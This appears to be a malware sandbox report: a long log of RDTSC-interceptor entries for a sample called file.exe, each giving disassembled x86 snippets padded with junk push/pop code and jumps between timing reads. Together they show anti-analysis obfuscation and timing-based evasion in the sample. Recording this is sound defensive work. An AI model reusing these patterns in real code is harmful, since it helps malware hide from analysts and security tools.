Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BE5C3 second address: 5BE5CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jnp 00007F65C0B38BE6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EF048 second address: 5EF04E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EF04E second address: 5EF052 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EDD86 second address: 5EDDAB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F65C10F1088h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EDDAB second address: 5EDDB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EF701 second address: 5EF728 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007F65C10F1087h 0x0000000a popad 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push esi 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 pop esi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EF728 second address: 5EF737 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F65C0B38BEBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F3120 second address: 5F312B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F65C10F1076h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B0F3C second address: 5B0F63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F65C0B38BF8h 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jc 00007F65C0B38BE6h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F6B2E second address: 5F6B32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F6E3B second address: 5F6E5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F65C0B38BF8h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F8406 second address: 5F8417 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F853C second address: 5F8540 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F8540 second address: 5F855C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F65C10F1088h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F861F second address: 5F8625 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F8FE8 second address: 5F8FEC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F9163 second address: 5F9189 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F65C0B38BF0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F65C0B38BEFh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F922F second address: 5F9233 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FABE5 second address: 5FAC0D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F65C0B38BF2h 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F65C0B38BEDh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FBEC6 second address: 5FBECC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FAC0D second address: 5FAC13 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FCA12 second address: 5FCA18 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FD4C9 second address: 5FD4D3 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F65C0B38BE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FD4D3 second address: 5FD566 instructions: 0x00000000 rdtsc 0x00000002 js 00007F65C10F107Ch 0x00000008 jne 00007F65C10F1076h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [esp], eax 0x00000013 push 00000000h 0x00000015 push ebp 0x00000016 call 00007F65C10F1078h 0x0000001b pop ebp 0x0000001c mov dword ptr [esp+04h], ebp 0x00000020 add dword ptr [esp+04h], 0000001Bh 0x00000028 inc ebp 0x00000029 push ebp 0x0000002a ret 0x0000002b pop ebp 0x0000002c ret 0x0000002d call 00007F65C10F107Fh 0x00000032 mov si, 0A08h 0x00000036 pop esi 0x00000037 push 00000000h 0x00000039 push 00000000h 0x0000003b push ebx 0x0000003c call 00007F65C10F1078h 0x00000041 pop ebx 0x00000042 mov dword ptr [esp+04h], ebx 0x00000046 add dword ptr [esp+04h], 00000017h 0x0000004e inc ebx 0x0000004f push ebx 0x00000050 ret 0x00000051 pop ebx 0x00000052 ret 0x00000053 mov dword ptr [ebp+122D1E43h], eax 0x00000059 mov edi, 4A0F6C36h 0x0000005e push 00000000h 0x00000060 stc 0x00000061 xchg eax, ebx 0x00000062 jmp 00007F65C10F107Ch 0x00000067 push eax 0x00000068 push eax 0x00000069 push edx 0x0000006a pushad 0x0000006b jbe 00007F65C10F1076h 0x00000071 push ebx 0x00000072 pop ebx 0x00000073 popad 0x00000074 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FD566 second address: 5FD56C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FD2EF second address: 5FD2F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FE016 second address: 5FE020 instructions: 0x00000000 rdtsc 0x00000002 js 00007F65C0B38BECh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6037D2 second address: 6037F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F65C10F1088h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6037F2 second address: 60386A instructions: 0x00000000 rdtsc 0x00000002 jp 00007F65C0B38BE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e pushad 0x0000000f mov dword ptr [ebp+122D1E0Bh], ebx 0x00000015 jg 00007F65C0B38BFBh 0x0000001b popad 0x0000001c call 00007F65C0B38BEBh 0x00000021 mov bx, cx 0x00000024 pop ebx 0x00000025 push 00000000h 0x00000027 jnp 00007F65C0B38BE7h 0x0000002d push 00000000h 0x0000002f push 00000000h 0x00000031 push edx 0x00000032 call 00007F65C0B38BE8h 0x00000037 pop edx 0x00000038 mov dword ptr [esp+04h], edx 0x0000003c add dword ptr [esp+04h], 00000015h 0x00000044 inc edx 0x00000045 push edx 0x00000046 ret 0x00000047 pop edx 0x00000048 ret 0x00000049 push edi 0x0000004a mov ebx, esi 0x0000004c pop edi 0x0000004d mov ebx, dword ptr [ebp+122D3659h] 0x00000053 xchg eax, esi 0x00000054 pushad 0x00000055 push eax 0x00000056 push edx 0x00000057 push eax 0x00000058 push edx 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60386A second address: 60386E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60386E second address: 603872 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 605910 second address: 60591A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F65C10F1076h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60591A second address: 60597C instructions: 0x00000000 rdtsc 0x00000002 jc 00007F65C0B38BE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f mov edi, eax 0x00000011 push edi 0x00000012 jg 00007F65C0B38BEBh 0x00000018 pop edi 0x00000019 push 00000000h 0x0000001b mov dword ptr [ebp+122D1B07h], eax 0x00000021 push 00000000h 0x00000023 push 00000000h 0x00000025 push ebx 0x00000026 call 00007F65C0B38BE8h 0x0000002b pop ebx 0x0000002c mov dword ptr [esp+04h], ebx 0x00000030 add dword ptr [esp+04h], 00000019h 0x00000038 inc ebx 0x00000039 push ebx 0x0000003a ret 0x0000003b pop ebx 0x0000003c ret 0x0000003d add dword ptr [ebp+122D2993h], esi 0x00000043 push eax 0x00000044 push eax 0x00000045 push edx 0x00000046 jmp 00007F65C0B38BF0h 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 604AB6 second address: 604AD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F65C10F1088h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6068E9 second address: 6068EF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6068EF second address: 606921 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F65C10F1088h 0x00000008 js 00007F65C10F1076h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 pushad 0x00000013 jno 00007F65C10F1078h 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 604B7F second address: 604B84 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 606921 second address: 606971 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 call 00007F65C10F1083h 0x0000000d mov dword ptr [ebp+122D1FA8h], edx 0x00000013 pop edi 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push edi 0x00000019 call 00007F65C10F1078h 0x0000001e pop edi 0x0000001f mov dword ptr [esp+04h], edi 0x00000023 add dword ptr [esp+04h], 00000019h 0x0000002b inc edi 0x0000002c push edi 0x0000002d ret 0x0000002e pop edi 0x0000002f ret 0x00000030 push 00000000h 0x00000032 mov bx, di 0x00000035 push eax 0x00000036 push eax 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a push edx 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 606971 second address: 606975 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 607A85 second address: 607A89 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 607A89 second address: 607A8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 607A8F second address: 607AAA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F65C10F1087h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 607AAA second address: 607AAE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60BCC3 second address: 60BCE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F65C10F1076h 0x0000000a popad 0x0000000b pushad 0x0000000c jmp 00007F65C10F1082h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60C319 second address: 60C33F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F65C0B38BF5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F65C0B38BEAh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60D2C1 second address: 60D2C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60D2C5 second address: 60D2CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60D2CB second address: 60D336 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F65C10F1083h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push edi 0x0000000f call 00007F65C10F1078h 0x00000014 pop edi 0x00000015 mov dword ptr [esp+04h], edi 0x00000019 add dword ptr [esp+04h], 00000018h 0x00000021 inc edi 0x00000022 push edi 0x00000023 ret 0x00000024 pop edi 0x00000025 ret 0x00000026 push 00000000h 0x00000028 mov ebx, dword ptr [ebp+122D289Dh] 0x0000002e push 00000000h 0x00000030 push 00000000h 0x00000032 push ecx 0x00000033 call 00007F65C10F1078h 0x00000038 pop ecx 0x00000039 mov dword ptr [esp+04h], ecx 0x0000003d add dword ptr [esp+04h], 00000015h 0x00000045 inc ecx 0x00000046 push ecx 0x00000047 ret 0x00000048 pop ecx 0x00000049 ret 0x0000004a movsx ebx, di 0x0000004d xchg eax, esi 0x0000004e push esi 0x0000004f pushad 0x00000050 pushad 0x00000051 popad 0x00000052 push eax 0x00000053 push edx 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6102B3 second address: 6102EA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F65C0B38BF7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F65C0B38BEEh 0x0000000e jno 00007F65C0B38BE8h 0x00000014 popad 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6102EA second address: 6102EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60E478 second address: 60E48E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F65C0B38BF2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6102EE second address: 6102F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60D420 second address: 60D424 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6102F2 second address: 6102FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60E48E second address: 60E4AF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F65C0B38BEAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jl 00007F65C0B38BECh 0x00000011 jo 00007F65C0B38BE6h 0x00000017 pushad 0x00000018 pushad 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6102FE second address: 610302 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60E4AF second address: 60E4FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 nop 0x00000007 add ebx, dword ptr [ebp+122D1DB5h] 0x0000000d push dword ptr fs:[00000000h] 0x00000014 movsx ebx, bx 0x00000017 mov dword ptr fs:[00000000h], esp 0x0000001e mov bh, ch 0x00000020 mov eax, dword ptr [ebp+122D0DE1h] 0x00000026 push 00000000h 0x00000028 push edx 0x00000029 call 00007F65C0B38BE8h 0x0000002e pop edx 0x0000002f mov dword ptr [esp+04h], edx 0x00000033 add dword ptr [esp+04h], 00000018h 0x0000003b inc edx 0x0000003c push edx 0x0000003d ret 0x0000003e pop edx 0x0000003f ret 0x00000040 push FFFFFFFFh 0x00000042 push eax 0x00000043 push eax 0x00000044 push edx 0x00000045 push eax 0x00000046 push edx 0x00000047 pushad 0x00000048 popad 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60E4FE second address: 60E504 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60E504 second address: 60E50A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6109F2 second address: 610A07 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F65C10F1081h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60E50A second address: 60E50E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 610A07 second address: 610A0E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 611A4F second address: 611A53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 610B00 second address: 610B90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 nop 0x00000006 mov edi, dword ptr [ebp+122D33D5h] 0x0000000c push dword ptr fs:[00000000h] 0x00000013 push 00000000h 0x00000015 push ecx 0x00000016 call 00007F65C10F1078h 0x0000001b pop ecx 0x0000001c mov dword ptr [esp+04h], ecx 0x00000020 add dword ptr [esp+04h], 00000016h 0x00000028 inc ecx 0x00000029 push ecx 0x0000002a ret 0x0000002b pop ecx 0x0000002c ret 0x0000002d mov dword ptr fs:[00000000h], esp 0x00000034 push 00000000h 0x00000036 push edi 0x00000037 call 00007F65C10F1078h 0x0000003c pop edi 0x0000003d mov dword ptr [esp+04h], edi 0x00000041 add dword ptr [esp+04h], 00000014h 0x00000049 inc edi 0x0000004a push edi 0x0000004b ret 0x0000004c pop edi 0x0000004d ret 0x0000004e mov edi, esi 0x00000050 mov eax, dword ptr [ebp+122D0CC1h] 0x00000056 pushad 0x00000057 add dword ptr [ebp+122D1E43h], esi 0x0000005d jmp 00007F65C10F1083h 0x00000062 popad 0x00000063 push FFFFFFFFh 0x00000065 sub dword ptr [ebp+12462E7Ah], eax 0x0000006b nop 0x0000006c push eax 0x0000006d push edx 0x0000006e push eax 0x0000006f push edx 0x00000070 jmp 00007F65C10F107Ch 0x00000075 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 611CB5 second address: 611CBF instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F65C0B38BECh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 610B90 second address: 610BA8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F65C10F1084h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6129EA second address: 6129F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6129F0 second address: 612A12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jmp 00007F65C10F1081h 0x0000000f jnc 00007F65C10F1076h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 612B82 second address: 612B9E instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F65C0B38BE8h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F65C0B38BEDh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 613B32 second address: 613B3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 617DDD second address: 617DE7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 617DE7 second address: 617DEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 617DEB second address: 617DEF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 617DEF second address: 617E0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007F65C10F1081h 0x0000000e push ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61D27D second address: 61D291 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jne 00007F65C0B38BE6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ebx 0x0000000d jns 00007F65C0B38BE6h 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61CCE1 second address: 61CCE5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AA424 second address: 5AA42A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AA42A second address: 5AA432 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AA432 second address: 5AA44E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F65C0B38BF7h 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 620187 second address: 62018C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62018C second address: 6201AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F65C0B38BF8h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6254EC second address: 6254F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6254F0 second address: 625511 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F65C0B38BECh 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f jmp 00007F65C0B38BEBh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 625511 second address: 625552 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F65C10F107Fh 0x00000007 jmp 00007F65C10F107Fh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 ja 00007F65C10F1076h 0x00000018 pushad 0x00000019 popad 0x0000001a jmp 00007F65C10F1082h 0x0000001f popad 0x00000020 rdtsc
